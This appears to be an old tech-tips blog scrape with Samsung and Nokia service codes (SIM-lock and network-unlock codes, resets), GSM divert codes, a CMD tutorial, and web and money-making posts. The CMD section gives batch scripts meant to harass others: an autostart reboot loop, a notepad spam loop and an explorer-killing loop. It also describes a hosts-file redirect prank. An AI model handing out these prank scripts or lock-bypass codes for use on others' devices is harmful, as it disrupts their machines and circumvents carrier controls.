*7465625*228# = Activa lock ON

#7465625*228# = Activa lock OFF

*7465625*28638# = Auto Network lock ON

#7465625*28638# = Auto Network lock OFF

*7465625*28782# = Auto subset lock ON

#7465625*28782# = Auto subset lock OFF

*7465625*2877# = Auto SP lock ON

#7465625*2877# = Auto SP lock OFF

*7465625*2827# = Auto CP lock ON

#7465625*2827# = Auto CP lock OFF

*7465625*28746# = Auto SIM lock ON

#7465625*28746# = Auto SIM lock OFF

**********************

#*7878# FirstStartup (0=NO, 1=YES)

#*3838# Blinks 3D030300 in RED

#*2077# GPRS Switch

#*2027# GPRS Switch

#*0227# GPRS Switch

#*0277# GPRS Switch

#*22671# AMR REC START

#*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)

#*22673# Pause REC

#*22674# Resume REC

#*22675# AMR Playback

#*22676# AMR Stop Play

#*22677# Pause Play

#*22678# Resume Play

#*77261# PCM Rec Req

#*77262# Stop PCM Rec

#*77263# PCM Playback

#*77264# PCM Stop Play

#*22679# AMR Get Time

*#8999*364# Watchdog ON/OFF

*#8999*427# WATCHDOG signal route setup

*2767*3855# = Full Reset (Caution every stored data will be deleted.)

*2767*2878# = Custom Reset

*2767*927# = Wap Reset

*2767*226372# = Camera Reset (deletes photos)

*2767*688# Reset Mobile TV

#7263867# = RAM Dump (On or Off)

Samsung Secret Codes Part 3

*2767*49927# = Germany WAP Settings

*2767*44927# = UK WAP Settings

*2767*31927# = Netherlands WAP Settings

*2767*420927# = Czech WAP Settings

*2767*43927# = Austria WAP Settings

*2767*39927# = Italy WAP Settings

*2767*33927# = France WAP Settings

*2767*351927# = Portugal WAP Settings

*2767*34927# = Spain WAP Settings

*2767*46927# = Sweden WAP Settings

*2767*380927# = Ukraine WAP Settings

*2767*7927# = Russia WAP Settings

*2767*30927# = GREECE WAP Settings

*2767*73738927# = WAP Settings Reset

*2767*49667# = Germany MMS Settings

*2767*44667# = UK MMS Settings

*2767*31667# = Netherlands MMS Settings

*2767*420667# = Czech MMS Settings

*2767*43667# = Austria MMS Settings

*2767*39667# = Italy MMS Settings

*2767*33667# = France MMS Settings

*2767*351667# = Portugal MMS Settings

*2767*34667# = Spain MMS Settings

*2767*46667# = Sweden MMS Settings

*2767*380667# = Ukraine MMS Settings

*2767*7667#. = Russia MMS Settings

*2767*30667# = GREECE MMS Settings

*#7465625# = Check the phone lock status

*7465625*638*Code# = Enables Network lock

#7465625*638*Code# = Disables Network lock

*7465625*782*Code# = Enables Subset lock

#7465625*782*Code# = Disables Subset lock

*7465625*77*Code# = Enables SP lock

#7465625*77*Code# = Disables SP lock

*7465625*27*Code# = Enables CP lock

#7465625*27*Code# = Disables CP lock

*7465625*746*Code# = Enables SIM lock

#7465625*746*Code# = Disables SIM lock

*7465625*228# = Activa lock ON

#7465625*228# = Activa lock OFF

*7465625*28638# = Auto Network lock ON

#7465625*28638# = Auto Network lock OFF

*7465625*28782# = Auto subset lock ON

#7465625*28782# = Auto subset lock OFF

*7465625*2877# = Auto SP lock ON

#7465625*2877# = Auto SP lock OFF

*7465625*2827# = Auto CP lock ON

#7465625*2827# = Auto CP lock OFF

*7465625*28746# = Auto SIM lock ON

#7465625*28746# = Auto SIM lock OFF

Type *#9998*627837793# Go to the 'my parameters' and there you will find new menu where you can unlock phone.(not tested-for samsung C100)

To unlock a Samsung turn the phone off take the sim card and type the following code *#pw+15853649247w# .

Java status code: #*53696# (Samsung X600)

If you want to unlock your phone put a sim from another company then type *#9998*3323# it will reset your phone. Push exit and then push 7, it will reset again. Put your other sim in and it will say sim lock, type in 00000000 then it should be unlocked. Type in *0141# then the green call batton and it's unlocked to all networks. This code may not work on the older phones and some of the newer phones. If it doesn't work you will have to reset your phone without a sim in it by typing *#2767*2878# or *#9998*3855# (not tested)

*2767*688# = Unlocking Code

*#8999*8378# = All in one Code

*#4777*8665# = GPSR Tool

*#8999*523# = LCD Brightness

*#8999*3825523# = External Display

*#8999*377# = Errors

#*5737425# = JAVA Something{I choose 2 and it chrashed}][/b]

*#2255# = Call List

#*536961# = Java Status Code

#*536962# = Java Status Code

#*536963# = Java Status Code

#*53696# = Java Status Code

#*1200# = AFC DAC Val

#*1300# = IMEI

#*1400# = IMSI

#*2562# = ??? White for 15 secs than restarts.

#*2565# = Check Blocking

#*3353# = Check Code

#*3837# = ??? White for 15 secs than restarts.

#*3849# = ??? White for 15 secs than restarts.

#*3851# = ??? White for 15 secs than restarts.

#*3876# = ??? White for 15 secs than restarts.

#*7222# = Operation Typ (Class C GSM)

#*7224# = I Got !! ERROR !!

#*7252# = Oparation Typ (Class B GPRS)

#*7271# = Multi Slot (Class 1 GPRS)

#*7274# = Multi Slot (Class 4 GPRS)

#*7276# = Dunno

#*7337# = EEPROM Reset (Unlock and Resets WAP Settings)

#*2787# = CRTP ON/OFF

#*3737# = L1 Dbg data

#*5133# = L1 Dbg data

#*7288# = GPRS Attached

#*7287# = GPRS Detached

#*7666# = SrCell Data

#*7693# = Sleep Act/DeAct (Enable or Disable the Black screen after doing nothing for a while)

#*7284# = Class : B,C or GPRS

#*2256# = Calibration Info

#*2286# = Battery Data

#*2527# = GPRS Switching (set to: class 4, class 8, class 9 or class 10)

#*2679# = Copycat feature (Activate or Deactivate)

#*3940# = External loop test 9600 bps

#*4263# = Handsfree mode (Activate or Deactivate)

#*4700# = Half Rate (Activate or Deactivate)

#*7352# = BVMC Reg value

#*8462# = Sleeptime

#*2558# = Time ON

#*3370# = EFR (Activate or Deactivate)

#*3941# = External looptest 115200 bps

#*5176# = L1 Sleep

#*7462# = SIM phase

#*7983# = Voltage/Frequenci (Activate or Deactivate)

#*7986# = Voltage (Activate or Deactivate)

#*8466# = Old time

#*2255# = Call ???

#*5187# = L1C2G trace (Activate or Deactivate)

#*5376# = ??? White for 15 secs than restarts.

#*6837# = Official Software Version

#*7524# = KCGPRS

#*7562# = LOCI GPRS

#*7638# = RLC allways open ended TBF (Activate or Deactivate)

#*7632# = Sleep mode Debug

#*7673# = Sleep mode RESET

#*2337# = Permanent Registration Beep

#*2474# = ???

#*2834# = Audio Path

#*3270# = DCS support (Activate or Deactivate)

#*3282# = Data (Activate or Deactivate)

#*3476# = EGSM (Activate or Deactivate)

#*3676# = Flash volume formated

#*4760# = GSM (Activate or Deactivate)

#*4864# = Dunno doesn't work on newer versions

#*5171# = L1P1

#*5172# = L1P2

#*5173# = L1P3

#*7326# = Accessory (I got Vibrator)

#*7683# = Sleep variable (

#*7762# = SMS Brearer CS (Activate or Deactivate)

#*8465# = Time in L1

#*9795# = wtls key

#*2252# = Current CAL

#*2836# = AVDDSS Management (Activate or Deactivate)

#*3877# = Dump of SPY trace

#*7728# = RSAV done# (Everything went to standart but nothing was deleted)

#*2677# = ARM State (None or Full Rate)

*#8999*636# = Have no clue what it is, i see 20 lines

*#9999# = Software version

*#8999*8376263# = HW ver, SW ver and Build Date

*#8888# = HW version

*#8377466# = Same HW/SW version thing

*#7465625# = Check the locks

*7465625*638*Code# = Enables Network lock

#7465625*638*Code# = Disables Network lock

*7465625*782*Code# = Enables Subset lock

#7465625*782*Code# = Disables Subset lock

*7465625*77*Code# = Enables SP lock

#7465625*77*Code# = Disables SP lock

*7465625*27*Code# = Enables CP lock

#7465625*638*Code# = Disables Network lock

*7465625*782*Code# = Enables Subset lock

#7465625*782*Code# = Disables Subset lock

*7465625*77*Code# = Enables SP lock

#7465625*77*Code# = Disables SP lock

*7465625*27*Code# = Enables CP lock

#7465625*27*Code# = Disables CP lock

*7465625*746*Code# = Enables SIM lock

#7465625*746*Code# = Disables SIM lock

*7465625*228# = Activa lock ON

#7465625*228# = Activa lock OFF

*7465625*28638# = Auto Network lock ON

#7465625*28638# = Auto Network lock OFF

*7465625*28782# = Auto subset lock ON

#7465625*28782# = Auto subset lock OFF

*7465625*2877# = Auto SP lock ON

#7465625*2877# = Auto SP lock OFF

*7465625*2827# = Auto CP lock ON

#7465625*2827# = Auto CP lock OFF

*7465625*28746# = Auto SIM lock ON

#7465625*28746# = Auto SIM lock OFF

*2767*3855# = E2P Full Reset

*2767*2878# = E2P Custom Reset

*2767*927# = E2P WAP Reset

*2767*226372# = E2P Camera Reset

#*6420# = MIC Off

#*6421# = MIC On

#*6422# = MIC Data

#*6428# = MIC Measurement

#*3230# = Trace enable and DCD disable

#*3231# = Trace disable and DCD enable

#*3232# = Current Mode

#7263867# = RAM Dump (On or Off)

*2767*49927# = Germany WAP Settings

*2767*44927# = UK WAP Settings

*2767*31927# = Netherlands WAP Settings

*2767*420927# = Czech WAP Settings

*2767*43927# = Austria WAP Settings

*2767*39927# = Italy WAP Settings

*2767*33927# = France WAP Settings

*2767*351927# = Portugal WAP Settings

*2767*34927# = Spain WAP Settings

*2767*46927# = Sweden WAP Settings

*2767*380927# = Ukraine WAP Settings

*2767*7927# = Russia WAP Settings

*2767*30927# = GREECE WAP Settings

*2767*73738927# = WAP Settings Reset

*2767*49667# = Germany MMS Settings

*2767*44667# = UK MMS Settings

*2767*31667# = Netherlands MMS Settings

*2767*420667# = Czech MMS Settings

*2767*43667# = Austria MMS Settings

*2767*39667# = Italy MMS Settings

*2767*33667# = France MMS Settings

*2767*351667# = Portugal MMS Settings

*2767*34667# = Spain MMS Settings

*2767*46667# = Sweden MMS Settings

*2767*380667# = Ukraine MMS Settings

*2767*7667#. = Russia MMS Settings

*2767*30667# = GREECE MMS Settings

*335# = Delete all MMS Messages

*663867# = Dump Mm file

#*536961# = WAPSAR enable / HTTP disable

#*536962# = WAPSAR disable / HTTP enable

#*536963# = Serial eable / Others disable

#*53696# = Java Download Mode

#*5663351# = WAP Model ID [Your Model]

#*5663352# = WAP Model ID [SEC-SGHXXXX/1.0]

#*566335# = WAP Model ID [SEC-SGHXXXX/1.0]

*2767*66335# = Check on which model it is

*2767*7100# = SEC-SGHS100/1.0

*2767*8200# = SEC-SGHV200/1.0

*2767*7300# = SEC-SGHS300/1.0

*2767*7650# = Nokia7650/1.0

*2767*2877368# = Reset WAP Model ID to standart

NOKIA :: Cheats, Tips & Tricks :: Nokia Codes

2011-11-03T15:08:00.003+05:00

1 Imagine ur cell battery is very low, u r expecting an important call and u don't have a charger.

Nokia instrument comes with a reserve battery. To activate, key is "*3370#"

Ur cell will restart with this reserve and ur instrument will show a 50% incerase in battery.

This reserve will get charged when u charge ur cell next time.

*3370# Activate Enhanced Full Rate Codec (EFR)-Your phone uses the best sound quality but talk time is reduced by approx. 5%

#3370# Deactivate Enhanced Full Rate Codec( EFR)

*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound

but you should gain approx 30% more Talk Time

*#4720# Deactivate Half Rate Codec

2 *#0000# Displays your phones software version,

1st Line :S oftware Version,

2nd Line : Software Release Date,

3rd Line : Compression Type

3 *#9999# Phones software v ersion if *#0000# does not work

4 *#06# For checking the International Mobile Equipment Identity (IMEI Number)

5 #pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

6 #pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

7 #pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols)

8 #pw+1234567890+4# SIM Card Lock Status.(use the "*" button to obtain the "p,w" and "+" symbols)

9 *#147# (vodafone) this lets you know who called you last *#1471# Last call (Only vodofone)

10 *#21# Allows you to check the number that "All Calls" are diverted To

11 *#2640# Displays security code in use

12 *#30# Lets you see the private number

13 *#43# Allows you to check the "Call Waiting" status of your phone.

14 *#61# Allows you to check the number that "On No Reply" calls are diverted to

15 *#62# Allows you to check the number that "Divert If Unrea chable(no service)" calls are diverted to

16 *#67# Allows you to check the number that "On Busy Calls" are diverted to

17 *#67705646#R emoves operator logo on 3310 & 3330

18 *#73# Reset phone timers and game scores

19 *#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it

means you will get the best standby time possible

20 *#7760# Manufactures code

21 *#7780# Restore factory settings

22 *#8110# Software version for the nokia 8110

23 *#92702689# (to rember *#WAR0ANTY#)

Displays -

1.Serial Number,

2.Date Made

3.Purchase Date,

4.Date of last repair (0000 for no repairs),

5.Transfer User Data.

To exit this mode -you need to switch your phone off then on again

24 *#94870345123456789# Deactivate the PWM-Mem

25 **21*number# Turn on "All Calls" diverting to the phone number entered

26 **61*number# Turn on "No Reply" diverting to the phone number entered

27 **67*number# Turn on "On Busy" diverting to the phone number entered

Each command is prefixed with either one or two * or # characters as follows:

** Register and Activate

* Activate

## De-Register (and Deactivate)

# Deactivate

*# Check Status

© Call button

Once each command has been entered, if it is a network command (as opposed to a local handset command) it must be transmitted to the network by pressing the YES (receiver) key which acts as an enter key - this is represented here with the © character. Always enter numbers in full international format +CountryAreaNumber ( e.g. +447712345678).

Command Description Command String

Security

Change call barring code **03*OldCode*NewCode*NewCode#©

Change call barring code **03*330*OldCode*NewCode*NewCode#©

Change PIN code **04*OldPIN*NewPIN*NewPIN#©

Change PIN2 code **042*OldPIN2*NewPIN2*NewPIN2#©

Unlock PIN code (when PIN is entered wrong 3 times) **05*PUK*NewPIN*NewPIN#©

Unlock PIN2 code (when PIN2 is entered wrong 3 times) **052*PUK2*NewPIN2*NewPIN2#©

Display IMEI *#06#

Call Forwarding (Diversions)

De-register all call diversions ##002#©

Set all configured call diversions to number and activate **004*number#©

De-register all configured call diversions (no answer, not reachable, busy) ##004#©

Unconditionally divert all calls to number and activate **21*number#©

Activate unconditionally divert all calls *21#©

De-register unconditionally divert all calls ##21#©

Deactivate unconditionally divert all calls #21#©

Check status of unconditionally divert all calls *#21#©

Divert on no answer to number and activate **61*number#©

Activate divert on no answer *61#©

De-register divert on no answer ##61#©

Deactivate divert on no answer #61#©

Check status of divert on no answer *#61#©

Divert on not reachable to number and activate **62*number#©

Activate divert on not reachable *62#©

De-register divert on not reachable ##62#©

Deactivate divert on not reachable #62#©

Check status of divert on not reachable *#62#©

Divert on busy to number and activate /td> **67*number#©<

Activate divert on busy *67#©

De-register divert on busy ##67#©

Deactivate divert on busy #67#©

Check status of divert on busy *#67#©

Change number of seconds of ringing for the given service before diverting a call (such as on no answer). Seconds must be a value from 5 to 30. De-registering the same divert will also delete this change! **service*number**seconds#© (Service numbers, see below)

Call barring

Activate barr all outgoing calls (see Security to set code) **33*code#©

Deactivate barr all outgoing calls #33*code#©

Check status of barr all outgoing calls *#33#©

Activate barr all calls **330*code#©

Deactivate barr all calls #330*code#©

Check status of barr all calls /td> *#330*code#©<

Activate barr all outgoing international calls **331*code#©

Deactivate barr all outgoing international calls #331*code#©

Check status of barr all outgoing international calls *#331#©

Activate barr all outgoing international calls except to home country **332*code#©

Deactivate barr all outgoing international calls except to home country #332*code#©

Check status of barr all outgoing international calls except to home country *#332#©

Activate barr all outgoing calls **333*code#©

Deactivate barr all outgoing calls #333*code#©

Check status of barr all outgoing calls *#333#©

Activate barr all incoming calls **35*code#©

Deactivate barr all incoming calls #35*code#©

Check status of barr all incoming calls *#35#©

Activate barr all incoming calls when roaming **351*code#©

Deactivate barr all incoming calls when roaming #351*code#©

Check status of barr all incoming calls when roaming *#351#©

Activate barr all incoming calls **353*code#©

Deactivate barr all incoming calls #353*code#©

Check status of barr all incoming calls *#353#©

Call waiting

Activate call waiting *43*#©

Deactivate call waiting #43##©

Check status of call waiting *#43#©

Calling Line Identification

The following only works if CLIP and CLIR are enabled (ask your service provider)

CLIP: Presentation of the number of the incoming call

Activate CLIP **30#©

Deactivate CLIP ##30#©

Check status of CLIP *#30#©

CLIR: Presentation of one's own number to the to the called party

Activate CLIR **31#©

Activate CLIR for the actual call *31#number©

Deactivate CLIR ##31#©

Deactivate CLIR for the actual call #31#number©

Check status of CLIR *#31#©

COLP: Presentation of the actual number reached (if number called was diverted to another number

Activate COLP *76#©

Deactivate COLP #76#©

Check status of COLP *#76#©

COLR: Presentation of the original number called by the calling party (if the call was diverted to this cellphone)

Activate COLR *77#©

Deactivate COLR #77#©

Check status of COLR *#77#©

CMD :: Command Prompt: The Basics & a Few Scripts

2011-11-03T15:08:00.002+05:00

First of all, I realize there are other articles about this kind of stuff

But I bring up some other stuff that they didn't.

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CMD

CMD is short for commander.

It is great for a lot of things and it's also very clean.

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Lets learn how to make the computer shut down everytime it's booted, shall we?

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First open CMD,

Next open notepad.

If you write "start shutdown -r" in CMD and press enter, your computer will restart. Also if you write the same in "run".

(Change -r to -s to shutdown computer, or write -l to logg off.)

If you write

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@echo off

cls

start shutdown -r

cls

goto :a

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in notepad and save it as something.bat (bat is important) and then open it, your computer will restart in the same way.

So, lets get into autostart. Put that bat file in autostart (autostart can be found in start menu) and each time your

computer is booted it will start that file and your computer will restart.

If you write the next script your computer will try to shutdown several times at once. it will freak for about half a minute

and then turn off.

Lets get a better understanding how scripts works. The above script shuts down your computer, but a bat file normaly opens

CMD and does whatever you told it to do.

@echo off - This is where you put commands that shouldn't be shown as text. For example cls. You don't want that to be text,

it's a command.

cls - This one is pretty good, it clears the text in the CMD screen

CMD - This command gives you a new CMD session.

start - this triggers stuff, in this case it's shutdown.

color - changes the colour in the cmd window, I recommend writing "color 0a", which is a green color thats really cool

on a black window.

title - write "title something" to change title.

goto :a - This one is really, really, really, really cool. It's used for making loops and some more advanced stuff that I

wont go into. Lets say you write

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@echo off

:a

cls

start shutdown -r

cls

goto :a

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The goto :a tells you to go to :a higher up in the script. so it starts the script again, then it does the goto :a command

again and the script reloads. Basicaly a loop. You can change the "a" to whatever you want, for example "error". This is

only to make it easier for you to read your script.

The : infront of "a" must stay where it is.

Bad example:

goto: a

Good example:

goto :a

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dir - This shows you the files in the directory you are in.

dir /s - This shows you all the files on your computer.

echo - write "echo something" and it will be as a text in cmd.

echo. This is a linebrake.

cd - Write cd followed up with a location, to go there in cmd. For example "cd c:\windows".

cd .. - This goes back one step in the directory. For example if your in c:\windows and write "cd .." you go back to c:\.

So now you know the basics, which we'll use to make you computer do stuff. In cmd you can write "help" to get a list of most

commands.

Moving away from learning commands now.

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Lets make a spamm script.

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@echo off

cls

:a

start notepad.exe

goto :a

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this script will continue to open notepad until you close cmd. Not recommended to run this on a slow computer.

As we said before, "start" triggers things, this script triggers notepad and then the loop (goto :a) is triggered.

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Lets just mess around.

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@echo off

cls

:a

taskkill /im explorer.exe /f

goto :a

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This will close the bar where start menu and tasks are shown, for example if you open internet you will see it at the bottom

of the screen on the explorer bar.

Closing this will leave people with little things to do.

Hope you liked the article. If you think I missed something please contact me.

How to Retrieve Windows Admin Password

2011-11-03T15:08:00.001+05:00

1.type compmgmt.msc in RUN field.

2.Go to LOCAL USERS AND GROUPS.

3.In That go to USERS field.

4.Right click on ADMINISTRATOR and SET PASSWORD.

Note: all my documents folders will get deleted so better make a copy of it somewhere else.

ENJOY!!!!!!!!!!!!!

Complete List of Yahoo Smileys

2011-11-03T15:08:00.000+05:00

yahoo smileys comlete list

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;)

:D

;;)

>:D<

:-/

:x

:">

:p

:*

=((

:o

x-(

:>

B-)

:-s

#:-S

>:)

:((

:))

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/:)

=))

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:-B

=;

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8-

L-)

:-&

:-$

[-(

:o)

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<:-P

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:-?

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=D>

:-SS

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:^o

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:)>-

[-x

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;))

o->

o=>

o-+

(%)

:-@

^:)^

:-j

(*)

:o3 puppy dog eyes

I don't know - New! :-??

not listening - New! %-(

pig :@)

cow 3:-O

monkey :(
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chicken ~:>

rose @};-

good luck %%-

flag **==

pumpkin (~~)

coffee ~O)

idea *-:)

skull 8-X

bug =:)

alien >-)

frustrated :-L

praying [-O<

money eyes $-)

whistling :-"

feeling beat up b-(

peace sign :)>-

shame on you [-X

dancing \:D/

bring it on >:/

hee hee ;))

chatterbox :-@

not worthy ^:)^

oh go on :-j

star (*)

hiro o->

billy o=>

april o-+

yin yang (%)

How to Track Your Lost Or Stolen Symbian Mobile Phone

2011-11-03T15:04:00.003+05:00

Phone Guardian is a mobile security anti-thief software for your Series 60 v3 Symbian smartphones. In case your mobile is forgotten or stolen, Phone Guardian will allow you to remotely secure and auto lock your Symbian mobile by sending a lock SMS.

Once locked the phone remains secured. It will not be possible for the thief to use your phone or to uninstall the Phone Guardian software. Mobile can only be unlocked by sending an unlock SMS with a password.

Features:

Remote mobile lock and unlock with lock SMS

Phone Guardian becomes active (locks the mobile, emits the siren) when a different SIM card is inserted or on lock SMS

Operator specific and location information is automatically sent to the number specified, including the number of SIM, IMSI and CellID numbers

Siren option can be put on and off

Uninstall possible only with password

Phone lock is independent from phone restart

Phone Guardian sends automatically a secure SMS, where information that allows you to catch the thief is included. Armed with Phone Guardian, your Nokia smartphone will be secure as in safe! For any product related questions, contact Phone Guardian's live answering service for live operator support or refer to the FAQ provided on their website.

OS requirements for Phone Guardian:

OS: Symbian OS

Links : Download Phone Guardian | Compatible Devices

Make Money using Twitter with RevTwt.

2011-11-03T15:04:00.000+05:00

You enjoy tweeting with your friends, but wouldn’t it be great to make a little extra cash on the side while you post on Twitter? RevTwt has the solution: You have to just post the links by RevTwt on your Twitter account, and you earn money each time someone clicks on your link! Revtwt is a new way of making money online by posting a tweets to your twitter account.
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To start with RevTwt , you need a Twitter account and RevTwt account. You need at least 50 followers on Twitter to start the service.Just follow people and they will follow you back as a courtesy.

How to Earn revenue from Revtwt :

1.Referrals

The RevTwt referral program is a great way to spread the word of this great service and to earn even more money with your Twitter account! Refer friends and receive 20% of their earnings for life! Sign up here

2.Ad clicks.

Referrals you just tweet out the url,Ad clicks you get to chose companies that pay so much per click.This is my referral link : RevTwt. There is a minimum of $ 20 to request the payment and you can receive the money through your PayPal account.

Make a Website Redirect to Another Site

2011-11-03T15:03:00.000+05:00

Here is cool video which will really bug your friends or anyone who is addicted to a particular website (like say http://yahoo.com/)
All you need to do is to know there favourite website, and they will never visit it again, unless you want to or they re-install there windows again.

Watch the video:

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[youtube][/youtube]

How to undo:

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* Go to Start -> Run

* Type Notepad C:/Windows/system32/drivers/etc/hosts

* Just delete the those added IP and the site name.

[Money] Make some extra money from your blog

2011-11-03T14:58:00.000+05:00

This is going to be quite interesting if you have a blog or website. AdSense is allows you to publish Ads make money. AdWords allow you to Advertise your product or service online. Performancing Ads is another way to put ads in your blog or advertise your blog. What makes it different from other similar services?

Create an account for free and Make Money With PerformancingAds

Publishers - If you like to make money from your blog.

#125x125 ad marketplace.

#Automatically get paid at the end of the same month you earn your money.

#Book your own ads... for free.

#Earn credits when advertisements are booked in your regions.

#Use those earned credits to have your own exchange ad displayed on other publisher sites.

Advertisers - If you like to drive more traffic to your blog website
#Easily buy targeted advertising on influential blogs, with many more coming online every day.

#Quickly advertise across entire blog networks, reach your widest audience with one ad buy.

#Advertise to your niche audience, effortlessly.

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Best part is Performancing Ads has a cool Affiliate program which can earn more money from your blog. If you have a blog create an account and share your experience with crazzycool.

A Live Clock Made of Google Earth

2011-11-02T11:15:00.001+05:00

The Google Earth Clock is a live clock that displays the current local time in your browser using satellite imagery from Google Earth / Google Maps.

It picks the aerial view of buildings around the world that resemble numerical digits and uses them to represent the hours and minutes of this self-updated clock. Like the regular Google Earth software, you can also drag or zoom around using the mouse to explore any of five “numeric” areas in greater detail.
An impressive experiment (see video) though you do need the Google Earth plugin to view this clock in your browser. H/t Google Maps Mania.

Google Begins Indexing Facebook Comments

2011-11-02T11:00:00.001+05:00

Third-party commenting engines like Disqus, Facebook Comments or Intense Debate make it easy for you to enable commenting on any website /blog but there’s one downside – some of these commenting engines are implemented in JavaScript and hence search engines may not be able to read /index the comments that visitors are writing on your web pages.
In other words, your web pages will rarely get any SEO boost as comments are rendered in JavaScript within an <IFRAME> and hence the text is not visible to search engines.

That seems to have changed recently at least in the case of Google.
Googlebots, or the spiders that crawl web pages, are now reading Facebook comments on websites just like any other text content and the more interesting part is that you can also search the text of these comments using regular Google search.
To give you an example, here’s a comment from Robert Scoble that he has previously written on a TechCrunch page using the Facebook comments system..

..and here’s the same comment available through Google web search. You can in fact use search queries like “commenter name * commenter title” (for example – “Robert Scoble * Chief Learning Officer at Rackspace”) to discover all comments that he or she may have written on various websites that use the Facebook comments platform.

If you have so far avoided using Facebook comments on your website /blog just because of the SEO factor, you may want to reconsider your decision now.
However I am not too sure if Google would pass any juice to any of the website links that some people may be dropping in your comments. Also, moderation of Facebook Comments is all the more important now as the comment text is part of the page content itself and you don’t want to be in violation of Google’s Webmaster Guidelines just because of those angry comments that do not use very civilized language.

How To Avoid Online Scams

2011-10-31T14:48:00.001+05:00

I’m sure you already know this, but for those of you who think that the world is all rainbows and sunshine – you’re wrong. We live in an age of hopes and promises, where people dream about making billions of dollars, having many girls and affording the luxuries of life. Thankfully, we have the Internet that gives us an opportunity to get closer to our dreams.
But where there is hope, there is always deceit. There are people out there who make money by scamming people, websites, businesses; in one word – everyone. In this article we will discuss some of the scams that are happening right now and how to avoid them:

1. Fake Escrow Services

When buying or selling something online (e.g., a website, an eBay product), scammers might try to convince you to use fraudulent escrow services. I’m not sure how people fall for that, but it happens. Once you send the money you’ll never heard from the person or from the service again.
The only way to prevent you losing money – use escrow services that actually have a good reputation (like Escrow.com). If the other party is still nagging you about using their services, just tell them “no” and report them (unless, of course, this service is legit).

2. Domain Names with Fake PageRank

People try to sell you domains with false Google PageRank. This is a well-known scam that makes people lose money, but if you haven’t purchased many domain names in the past you might not have heard about it. What happens is, people have a domain A with high PageRank and redirect it to a domain B with PR 0. As they do that Google will match the PageRanks, so that when someone checks the PR of B it will show the same number as the PR of A. After that the scammer will sell the domain B claiming it has a high PR, when in reality it doesn’t.
How to avoid this scam: Well, if you search for domain B in the Google search, you should see this domain on the first position; if it’s not the case – you are dealing with a redirect.

3. Overhyped Products

People sell you overhyped products. If you are a newbie internet marketer you tend to buy everything that promises you mountains of gold. The sad truth is – most products are an overhyped, rehashed scam. Here is how you check whether a product is solid or not:
a) Never ever type in Google “Product name + scam” or “Product name + review.” Internet marketers are optimizing their websites for exactly these keywords. They twist this search phrase into “Product name is maybe a scam!! Do not buy it until you’ve read my review;” and when you start reading their review, you will see affiliate links all over the place.
b) A good strategy is to search for “Author’s name + review,” “Author’s name + scam.” You will find much better and relevant results.
c) But the best strategy is to seek out forums that are in the same niche as the product and ask people whether it is a scam or not. Chances are that it has already been reviewed.

4. Inflated Prices

4. People will try to sell you stuff for inflated prices. I’ve actually seen people try to sell PR3 domains for $70 (they had only a few backlinks and weren’t really catchy). Here is how to avoid buying overhyped products:

As in the previous example, it would be a good idea to ask folks on forums (Warrior Forum is the best place for such questions).

5. Stuff That Breaks Rules or The Law

If a person tries to involve you into breaking any kind of rule or law – run as fast as you can! Here is a good example of that:
Not a while back, Flippa had (and maybe still have) a huge loophole: you could actually create several accounts and bid on your own actions, therefore encouraging other people to participate. Well, I know someone (no names) who asked his friend to bid on his auctions, and they earned a lot of money. But one day Flippa caught on their scam and banned them. Now they both regret losing a very precious income stream.

6. Scam Info Products

If you are on a sales page and read or hear the following things:

I have a secret that guru’s don’t want you to know…
Money machine stolen from big gurus…
Push button money system…
Bullet proof system that is guaranteed to work…

Run away from this website faster than the roadrunner from the coyote.

7. Pay for Traffic Services

Stay away from offers that promise to bring you 1000, 2000 and 10000 visitors in a short amount of time. People are actually naïve enough to believe that, because it’s easier to pay $5-$20 than to use their brains. I mean, it’s obvious how this system works:
a) Traffic exchanging programs. This just a BS network where some random people have to look at your website to get some credits. As you may imagine, these visitors convert worse than the ones from Stumbleupon (which speaks volume)
b) They use software like Scrapeboard with installed proxies. This software is usually used to spam blogs for backlinks, but it can also be used to increase the traffic number.

8. Fake Testimonials and Screenshots

Never believe testimonials and Clickbank screenshots. It’s easy to buy these testimonials on Fiverr for $5. Even video testimonials are easily available these days!
But what’s most scary is that you can create your own Clickbank screenshots. Here is a video of how a dude did it in Photoshop:

There are a lot of ways how people can scam you out of your money. The methods described here are just the tip of the iceberg. It’s only up to you to stay smart and vigilante. If you are unsure whether you are being scammed, visit this website:http://scam.com/
This forum has a lot of information and helpful members that can answer your questions. My only advice would be: use your common sense and do not trust anyone, unless you’ve verified their credentials.

How reCAPTCHA Works

2011-10-31T14:39:00.001+05:00

I’ll start with some basic facts which you may already know, but at the bottom of the article there’s a curious fact that you might have not heard before.
First things first, what is a CAPTCHA? It’s an acronum for “Completely Automated Public Turing test to tell Computers and Humans Apart.” Now in simple words: it’s basically a test used to make sure that whoever is performing an action is a human.

Why would you want to verify that? To avoid having bots or automated scripts doing things inside your website, application, and so on, which could lead to security problems as well as an overload of the system.
There are several ways to implement the test, but the most used one is presenting the user a sequence of letters or words and asking him to re-type and submit those letters. The image below illustrates how it works:

The image below is the CAPTCHA test from a company called reCAPTCHA, which was originally a project at the Carnegie Mellon University and later got acquired by Google.
Now here comes the interesting trivia: on all reCAPTCHA forms (so those on all Google services) you actually just need to type the first word to pass the test and prove that you are human. The second word is one that Google’s computers could not identify on its book digitalization project, and by typing it you are helping Google to identify those words and complete their book scannings.
Neat huh?
It seems to be working as well, as every day over 200 million forms like the above one are displayed around the web.

Halloween Google Doodle Video

2011-10-31T14:35:00.001+05:00

You know there’s something significant going on when Google creates one of its whimsical “doodles” on its home page, and Halloween is no exception. Watch what happens.

[Spoiler alert] In case you can’t see it where you are, this year (in some countries), there’s a time-lapse video showing some of the most gigantic pumpkins in the world, going through a metamorphosis from blobs of orange to art as night falls.

Here’s how the Googlers describe the making of this kooky video on the official Google blog:

To celebrate Halloween this year, the doodle team wanted to capture that fascinating transformation that takes place when carving a pumpkin. Instead of picking up a few pumpkins from the grocery store, however, we decided to work on six giant pumpkins, specially delivered from nearby Half Moon Bay (some weighing well over 1,000 pounds). What you see is a timelapse video of the approximately eight hours we spent carving in the middle of our Mountain View, Calif. campus.

Watch the video of this Halloween Google doodle — or go to Google.com to experience the doodle for yourself.
Here’s Google’s “making of” video of this year’s doodle:

The Internet of Fake Screenshots

